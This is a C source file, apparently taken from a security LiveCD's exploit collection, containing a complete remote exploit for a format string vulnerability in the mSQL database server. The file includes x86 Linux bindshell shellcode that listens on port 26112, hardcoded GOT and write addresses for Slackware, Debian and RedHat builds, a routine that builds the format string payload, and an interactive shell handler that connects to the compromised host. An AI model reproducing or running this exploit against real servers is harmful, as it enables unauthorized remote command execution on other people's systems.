home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mssql / msqlex.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  12KB  |  541 lines

  1. /* _ ________ _____ ______
  2.  __ ___ ____ /____.------` /_______.------.___.----` ___/____ _______
  3.  _/ \ _ /\ __. __// ___/_ ___. /_\ /_ | _/
  4.  ___ ._\ . \\ /__ _____/ _ / \_ | /__ | _| slc | _____ _
  5.   - -------\______||--._____\---._______//-|__ //-.___|----._____||
  6.    / \ /
  7.      \/
  8. [*] mSQL < remote gid root exploit
  9.  by lucipher & The Itch (www.netric.org|be)
  10.  
  11. ------------------------------------------------------------------------------
  12.  
  13. [*] Exploits a format string hole in mSQL.
  14.  
  15. [*] Some functions are taken from mSQL's sourcecode
  16.  
  17.  Copyright (c) 2003 Netric Security and lucipher
  18.  All rights reserved.
  19.  
  20.  THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
  21.  WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
  22.  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
  23. */
  24.  
  25. #include <stdio.h> /* required by fatal() */
  26. #include <stdlib.h>
  27. #include <stdarg.h> /* required by fatal() */
  28. #include <unistd.h>
  29. #include <sys/types.h>
  30. #include <sys/time.h>
  31. #include <string.h>
  32. #include <time.h>
  33. #include <fcntl.h>
  34. #include <arpa/inet.h>
  35. #include <sys/socket.h>
  36. #include <netinet/in.h>
  37. #include <netdb.h>
  38. #include <errno.h> /* required by errno */
  39. #include <getopt.h> /* required by getopt() */
  40. #include <signal.h>
  41.  
  42. #define PKT_LEN (128*1024)
  43. #define ERR_BUF_LEN 200
  44. #define resetError() bzero(msqlErrMsg,sizeof(msqlErrMsg))
  45. #define chopError() { char *cp; cp = msqlErrMsg+strlen(msqlErrMsg) -1; \
  46.     if (*cp == '\n') *cp = 0;}
  47.  
  48. #define NET_READ(fd,b,l) read(fd,b,l)
  49. #define NET_WRITE(fd,b,l) write(fd,b,l)
  50.  
  51. #define SERVER_GONE_ERROR "server has gone...\n"
  52. #define UNKNOWN_ERROR "foo!"
  53.  
  54. static char msqlErrMsg[200];
  55. static u_char packetBuf[PKT_LEN + 4];
  56. static int readTimeout;
  57. u_char *packet = NULL;
  58.  
  59. int netReadPacket(int fd);
  60. int netWritePacket(int fd);
  61.  
  62. /* bindshell shellcode */
  63. char linux_code[78] = /* binds on port 26112 */
  64.   "\x31\xdb\xf7\xe3\x53\x43\x53"
  65.   "\x6a\x02\x89\xe1\xb0\x66\x52"
  66.   "\x50\xcd\x80\x43\x66\x53\x89"
  67.   "\xe1\x6a\x10\x51\x50\x89\xe1"
  68.   "\x52\x50\xb0\x66\xcd\x80\x89"
  69.   "\xe1\xb3\x04\xb0\x66\xcd\x80"
  70.   "\x43\xb0\x66\xcd\x80\x89\xd9"
  71.   "\x93\xb0\x3f\xcd\x80\x49\x79"
  72.   "\xf9\x52\x68\x6e\x2f\x73\x68"
  73.   "\x68\x2f\x2f\x62\x69\x89\xe3"
  74.   "\x52\x53\x89\xe1\xb0\x0b\xcd"
  75.   "\x80";
  76.  
  77. static void intToBuf(cp, val)
  78. u_char *cp;
  79. int val;
  80. {
  81.   *cp++ = (unsigned int) (val & 0x000000ff);
  82.   *cp++ = (unsigned int) (val & 0x0000ff00) >> 8;
  83.   *cp++ = (unsigned int) (val & 0x00ff0000) >> 16;
  84.   *cp++ = (unsigned int) (val & 0xff000000) >> 24;
  85. }
  86.  
  87. static int bufToInt(cp)
  88. u_char *cp;
  89. {
  90.   int val;
  91.  
  92.   val = 0;
  93.   val = *cp++;
  94.   val += ((int) *cp++) << 8;
  95.   val += ((int) *cp++) << 16;
  96.   val += ((int) *cp++) << 24;
  97.   return (val);
  98. }
  99.  
  100. int netWritePacket(fd)
  101. int fd;
  102. {
  103.   int len, offset, remain, numBytes;
  104.  
  105.   len = strlen((char *) packet);
  106.   intToBuf(packetBuf, len);
  107.   offset = 0;
  108.   remain = len + 4;
  109.   while (remain > 0) {
  110.   numBytes = NET_WRITE(fd, packetBuf + offset, remain);
  111.   if (numBytes == -1) {
  112.   return (-1);
  113.   }
  114.   offset += numBytes;
  115.   remain -= numBytes;
  116.   }
  117.   return (0);
  118. }
  119.  
  120. int netReadPacket(fd)
  121. int fd;
  122. {
  123.   u_char buf[4];
  124.   int len, remain, offset, numBytes;
  125.  
  126.   remain = 4;
  127.   offset = 0;
  128.   numBytes = 0;
  129.   readTimeout = 0;
  130.   while (remain > 0) {
  131.   /*
  132.    ** We can't just set an alarm here as on lots of boxes
  133.    ** both read and recv are non-interuptable. So, we
  134.    ** wait till there something to read before we start
  135.    ** reading in the server (not the client)
  136.    */
  137.   if (!readTimeout) {
  138.   numBytes = NET_READ(fd, buf + offset, remain);
  139.   if (numBytes < 0 && errno != EINTR) {
  140.     fprintf(stderr,
  141.     "Socket read on %d for length failed : ",
  142.     fd);
  143.  
  144.     perror("");
  145.   }
  146.   if (numBytes <= 0)
  147.     return (-1);
  148.   }
  149.   if (readTimeout)
  150.   break;
  151.   remain -= numBytes;
  152.   offset += numBytes;
  153.  
  154.   }
  155.   len = bufToInt(buf);
  156.   if (len > PKT_LEN) {
  157.   fprintf(stderr, "Packet too large (%d)\n", len);
  158.   return (-1);
  159.   }
  160.   if (len < 0) {
  161.   fprintf(stderr, "Malformed packet\n");
  162.   return (-1);
  163.   }
  164.   remain = len;
  165.   offset = 0;
  166.   while (remain > 0) {
  167.   numBytes = NET_READ(fd, packet + offset, remain);
  168.  
  169.   if (numBytes <= 0) {
  170.   return (-1);
  171.   }
  172.   remain -= numBytes;
  173.   offset += numBytes;
  174.   }
  175.   *(packet + len) = 0;
  176.   return (len);
  177. }
  178.  
  179. int msqlSelectDB(int sock, char *db)
  180. {
  181.   memset(msqlErrMsg, 0x0, sizeof(msqlErrMsg));
  182.  
  183.   packet = packetBuf+4;
  184.  
  185.   snprintf(packet, PKT_LEN, "%d:%s\n", 2, db);
  186.   netWritePacket(sock);
  187.   if (netReadPacket(sock) <= 0) {
  188.   strcpy(msqlErrMsg, SERVER_GONE_ERROR);
  189.   return (-1);
  190.   }
  191.   if (atoi(packet) == -1) {
  192.   char *cp;
  193.  
  194.   cp = (char *) index(packet, ':');
  195.   if (cp) {
  196.   strcpy(msqlErrMsg, cp + 1);
  197.   chopError();
  198.   } else {
  199.   strcpy(msqlErrMsg, UNKNOWN_ERROR);
  200.   }
  201.   return (-1);
  202.   }
  203.  
  204.   return (0);
  205. }
  206.  
  207. struct target {
  208.  char *name; /* target description */
  209.  unsigned long writeaddr; /* mSQL's errMsg + 18 + 8 address */
  210.  unsigned long smashaddr; /* strcpy's GOT address */
  211.  unsigned long pops; /* number of stack pops */
  212. };
  213.  
  214. /* high and low words indexers */
  215. enum { hi, lo };
  216.  
  217. /* default values. */
  218. struct target targets[] = {
  219.  /* name write smash pops */
  220.  { "SlackWare 8.1 - mSQL 3.0p1", 0x80a169a, 0x080751ec, 113 },
  221.  { "Debian 3.0 - mSQL 3.0p1", 134879034, 0x08075224, 113 },
  222.  { "RedHat 8.0 - mSQL 3.0p1", 0x804b778, 0x08074c1c, 115 },
  223.  { "RedHat 8.0 (II) - mSQL 3.0p1", 0x804b778, 0x08074c1c, 116 },
  224.  { NULL, 0x0, 0x0, 0 }
  225. };
  226.  
  227. void fatal(char *fmt, ...)
  228. {
  229.   char buffer[1024];
  230.   va_list ap;
  231.  
  232.   va_start(ap, fmt);
  233.   vsnprintf(buffer, sizeof (buffer) - 1, fmt, ap);
  234.   va_end(ap);
  235.  
  236.   fprintf(stderr, "%s", buffer);
  237.   exit(1);
  238. }
  239.  
  240. /* resolve a given hostname */
  241. unsigned long tcp_resolv(char *hostname)
  242. {
  243.   struct hostent *he;
  244.   unsigned long addr;
  245.   int n;
  246.  
  247.   he = gethostbyname(hostname);
  248.   if (he == NULL) {
  249.   n = inet_aton(hostname, (struct in_addr *) addr);
  250.   if (n < 0)
  251.   fatal("inet_aton: %s\n", strerror(errno));
  252.  
  253.   return addr;
  254.   }
  255.  
  256.   return *(unsigned long *) he->h_addr;
  257. }
  258.  
  259. /* routine to open a tcp/ip connection */
  260. int tcp_connect(char *hostname, int port)
  261. {
  262.   struct sockaddr_in sin;
  263.   int fd, n;
  264.  
  265.   sin.sin_addr.s_addr = tcp_resolv(hostname);
  266.   sin.sin_family = AF_INET;
  267.   sin.sin_port = htons(port);
  268.  
  269.   fd = socket(AF_INET, SOCK_STREAM, 6);
  270.   if (fd < 0)
  271.   return -1;
  272.  
  273.   n = connect(fd, (struct sockaddr *) &sin, sizeof (sin));
  274.   if (n < 0)
  275.   return -1;
  276.  
  277.   return fd;
  278. }
  279.  
  280. int msql_login(char *hostname, unsigned short int port)
  281. {
  282.  char buffer[300], *p;
  283.  int fd, n, opt;
  284.  
  285.  fd = tcp_connect(hostname, port);
  286.  if (fd < 0)
  287.   fatal("[-] couldn't connect to host %s:%u\n", hostname, port);
  288.  
  289.  setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, (char *) &opt, 4);
  290.  
  291.  memset(&buffer, 0x0, sizeof(buffer));
  292.  n = read(fd, &buffer, sizeof(buffer) - 1);
  293.  if (n < 0)
  294.   fatal("[-] could not read socket: %s\n", strerror(errno));
  295.  
  296.  p = (char *)&buffer + 4;
  297.  if (atoi(p) == -1)
  298.   fatal("[-] bad handshake received.\n");
  299.  p++;
  300.  if (*p != ':') p++;
  301.  p++;
  302.  if (*p >= '1' && *p <= '3') {
  303.   /* send buffer size within packet. */
  304.   buffer[0] = (unsigned int) (5UL & 0x000000ff);
  305.   buffer[1] = (unsigned int) (5UL & 0x0000ff00) >> 8;
  306.   buffer[2] = (unsigned int) (5UL & 0x00ff0000) >> 16;
  307.   buffer[3] = (unsigned int) (5UL & 0xff000000) >> 24;
  308.   /* sorta like our login. */
  309.   buffer[4] = 'r';
  310.   buffer[5] = 'o';
  311.   buffer[6] = 'o';
  312.   buffer[7] = 't';
  313.   buffer[8] = '\n';
  314.   buffer[9] = '\0';
  315.  
  316.   write(fd, buffer, 9);
  317.  }
  318.  
  319.  n = read(fd, buffer, sizeof(buffer) - 1);
  320.  if (n < 0)
  321.   fatal("[-] client failed in handshake.\n");
  322.  
  323.  printf("[+] connected to %s -> %u\n", hostname, port);
  324.  return fd;
  325. }
  326.  
  327. void msql_selectdb(int fd, char *database)
  328. {
  329.  unsigned char buffer[300];
  330.  unsigned int len;
  331.  
  332.  len = 117;
  333.  buffer[0] = (unsigned char)(len & 0x000000ff);
  334.  buffer[1] = (unsigned char)(len & 0x0000ff00) >> 8;
  335.  buffer[2] = (unsigned char)(len & 0x00ff0000) >> 16;
  336.  buffer[3] = (unsigned char)(len & 0xff000000) >> 24;
  337.  
  338.  snprintf(&buffer[4], sizeof(buffer) - 1, "2:%s\n", database);
  339.  len = write(fd, &buffer[0], len);
  340.  
  341. }
  342.  
  343. void shell(int fd)
  344. {
  345.  char buf[512];
  346.  fd_set rfds;
  347.  int l;
  348.  
  349.  write(fd, "id ; uname -a\n", 14);
  350.  while (1) {
  351.   FD_SET(0, &rfds);
  352.   FD_SET(fd, &rfds);
  353.   select(fd + 1, &rfds, NULL, NULL, NULL);
  354.  
  355.   if (FD_ISSET(0, &rfds)) {
  356.  l = read(0, buf, sizeof (buf));
  357.  if (l <= 0) {
  358.   perror("read user");
  359.   exit(EXIT_FAILURE);
  360.  }
  361.  write(fd, buf, l);
  362.   }
  363.  
  364.   if (FD_ISSET(fd, &rfds)) {
  365.  l = read(fd, buf, sizeof (buf));
  366.  if (l == 0) {
  367.   fatal("connection closed by foreign host.\n");
  368.  } else if (l < 0) {
  369.   perror("read remote");
  370.   exit (EXIT_FAILURE);
  371.  }
  372.  write(1, buf, l);
  373.   }
  374.  
  375.  }
  376. }
  377.  
  378. void usage(void)
  379. {
  380.  fprintf(stderr, "mSQLexploit\n\n");
  381.  fprintf(stderr, " -l\t\tlist available targets.\n");
  382.  fprintf(stderr, " -t target\ttarget selection.\n");
  383.  fprintf(stderr, " *** MANUAL ATTACK ***\n");
  384.  fprintf(stderr, " -s [addr]\tsmash address.\n");
  385.  fprintf(stderr, " -w [addr]\twrite address.\n");
  386.  fprintf(stderr, " -p [num]\tnumber of pops.\n");
  387.  exit(1);
  388. }
  389.  
  390. int main(int argc, char **argv)
  391. {
  392.  struct target manual;
  393.  struct target *target = NULL;
  394.  unsigned short port = 0, addr[2];
  395.  unsigned char split[4];
  396.  char *hostname, buffer[200];
  397.  int fd, opt;
  398.  
  399.  if (argc <= 1)
  400.   usage();
  401.  
  402.  memset(&manual, 0x00, sizeof(struct target));
  403.  while ((opt = getopt(argc, argv, "lht:s:w:p:")) != EOF) {
  404.   switch (opt) {
  405.   case 't': /* pre-written target selection */
  406.  target = &targets[atoi(optarg)];
  407.  break;
  408.   case 'l':
  409.  {
  410.  int i;
  411.  /* iterate through the list of targets and display. */
  412.  for (i = 0; targets[i].name; i++)
  413.   printf("[%d] %s\n", i, targets[i].name);
  414.  
  415.  exit(1);
  416.  }
  417.   case 'h':
  418.  /* print exploit usage information */
  419.  usage();
  420.  break; /* never reached */
  421.   case 's':
  422.  if (target == NULL)
  423.   target = &manual;
  424.  
  425.  target->name = "Manual Target";
  426.  target->smashaddr = strtoul(optarg, NULL, 16);
  427.  break;
  428.   case 'w':
  429.  if (target == NULL)
  430.   target = &manual;
  431.  
  432.  target->name = "Manual Target";
  433.  target->writeaddr = strtoul(optarg, NULL, 16) + 0x1a;
  434.  break;
  435.   case 'p':
  436.  if (target == NULL)
  437.   target = &manual;
  438.  target->name = "Manual Target";
  439.  target->pops = atoi(optarg);
  440.   }
  441.  }
  442.  
  443.  argc -= optind;
  444.  argv += optind;
  445.  
  446.  if (argc <= 0) {
  447.   fatal("choose a hostname and optionally a port\n");
  448.  } else if (argc == 1) {
  449.   hostname = argv[0];
  450.  } else {
  451.   hostname = argv[0];
  452.   port = atoi(argv[1]) & 0xff;
  453.  }
  454.  if (target != NULL) {
  455.   if (!strncmp(target->name, "Manual", 6))
  456.  if (!target->smashaddr || !target->writeaddr ||
  457.   !target->pops)
  458.   fatal("exploit requires pop count and "
  459.   "smash, write addresses: use -p and -w and -s "
  460.   "to set them\n");
  461.  } else {
  462.   target = &target[0];
  463.  }
  464.  
  465.  printf("[+] attacking %s -> %u\n", hostname, (port) ? port : 1114);
  466.  
  467.  fd = msql_login(hostname, (port) ? port : 1114);
  468.  
  469.  printf("[+] name %s\n", target->name);
  470.  printf("[+] smash %08lx\n", target->smashaddr);
  471.  printf("[+] write %08lx\n", target->writeaddr);
  472.  printf("[+] Now building string...\n");
  473.  
  474.  memset(&buffer, 0x0, sizeof(buffer));
  475.  
  476.  addr[lo] = (target->writeaddr & 0x0000ffff);
  477.  addr[hi] = (target->writeaddr & 0xffff0000) >> 16;
  478.  
  479.  /* split the address */
  480.  split[0] = (target->smashaddr & 0xff000000) >> 24;
  481.  split[1] = (target->smashaddr & 0x00ff0000) >> 16;
  482.  split[2] = (target->smashaddr & 0x0000ff00) >> 8;
  483.  split[3] = (target->smashaddr & 0x000000ff);
  484.  
  485.  /* build the format string */
  486.  if (addr[hi] < addr[lo])
  487.   snprintf(buffer, sizeof(buffer),
  488.   "%c%c%c%c"
  489.   "%c%c%c%c"
  490.  
  491.   "%s"
  492.  
  493.   "%%.%du%%%ld$hn"
  494.   "%%.%du%%%ld$hn",
  495.  
  496.   split[3] + 2, split[2], split[1], split[0],
  497.   split[3], split[2], split[1], split[0],
  498.   linux_code,
  499.   addr[hi] - 0x68, target->pops,
  500.   addr[lo] - addr[hi], target->pops + 1);
  501.  else
  502.   snprintf(buffer, sizeof(buffer),
  503.     "%c%c%c%c"
  504.     "%c%c%c%c"
  505.  
  506.     "%s"
  507.  
  508.     "%%.%du%%%ld$hn"
  509.     "%%.%du%%%ld$hn",
  510.  
  511.     split[3] + 2, split[2], split[1], split[0],
  512.     split[3], split[2], split[1], split[0],
  513.     linux_code,
  514.     addr[lo] - 0x68, target->pops,
  515.     addr[hi] - addr[lo], target->pops + 1);
  516.  
  517.  printf("[+] Trying to exploit...\n");
  518.  msqlSelectDB(fd, buffer);
  519.  switch (opt = fork()) {
  520.  case 0:
  521.   msqlSelectDB(fd, buffer);
  522.   exit(1);
  523.  case -1:
  524.   fatal("[-] failed fork()!\n");
  525.  default:
  526.   break;
  527.  }
  528.  
  529.  printf("[+] sleeping...\n");
  530.  sleep(1);
  531.  opt = tcp_connect(hostname, 26112);
  532.  if (opt < 0)
  533.   fatal("[-] failed! couldn't connect to bindshell!\n");
  534.  
  535.  printf("[+] shell!\n");
  536.  shell(opt);
  537.  
  538.  return 0;
  539. }
  540.  
  541.